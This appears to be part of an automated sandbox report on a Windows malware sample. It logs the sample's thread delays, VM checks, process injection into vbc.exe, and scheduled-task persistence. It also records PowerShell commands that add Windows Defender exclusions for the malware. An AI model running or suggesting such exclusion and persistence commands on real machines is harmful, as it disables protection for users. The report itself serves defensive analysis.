Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 597735
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 597610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 597485
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 597360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 597235
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 597110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 596985
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 596860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 596735
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 596610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 596485
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 596360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 596235
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 596110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 595985
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 595860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 595735
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 595610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 595485
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 595360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 595229
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 595108
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 594610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 594485
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 594360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 594235
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 594110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 593985
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 593860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 593735
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 593610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 593485
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx\NULL Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx\Adobe\NULL Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe File opened: C:\Users\user\AppData\Local\Temp\acrocef_low\NULL Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx\Adobe Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx\Adobe\Acrobat Jump to behavior
Source: b5Tu0LaQfn6bnAD.exe, 00000000.00000002.1261140100.00000000078D0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\;
Source: b5Tu0LaQfn6bnAD.exe, 00000000.00000002.1261140100.00000000078D0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}t
Source: vbc.exe, 00000008.00000002.2447511323.0000000005446000.00000004.00000020.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2447374650.0000000004A67000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Process information queried: ProcessInformation Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 8_2_0ABA9448 LdrInitializeThunk, 8_2_0ABA9448
Enables debug privileges
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Adds a directory exclusion to Windows Defender
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe"
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\IFZCSslt.exe"
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe" Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\IFZCSslt.exe" Jump to behavior
Allocates memory in foreign processes
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 400000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 400000 protect: page execute and read and write
Injects a PE file into a foreign processes
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 400000 value starts with: 4D5A
Writes to foreign memory regions
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 400000 Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 402000 Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 446000 Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 448000 Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 4EC7008 Jump to behavior
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 400000
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 402000
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 446000
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 448000
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 4769008
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe" Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\IFZCSslt.exe" Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\IFZCSslt" /XML "C:\Users\user\AppData\Local\Temp\tmp1110.tmp" Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\IFZCSslt" /XML "C:\Users\user\AppData\Local\Temp\tmp265D.tmp"
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation Jump to behavior
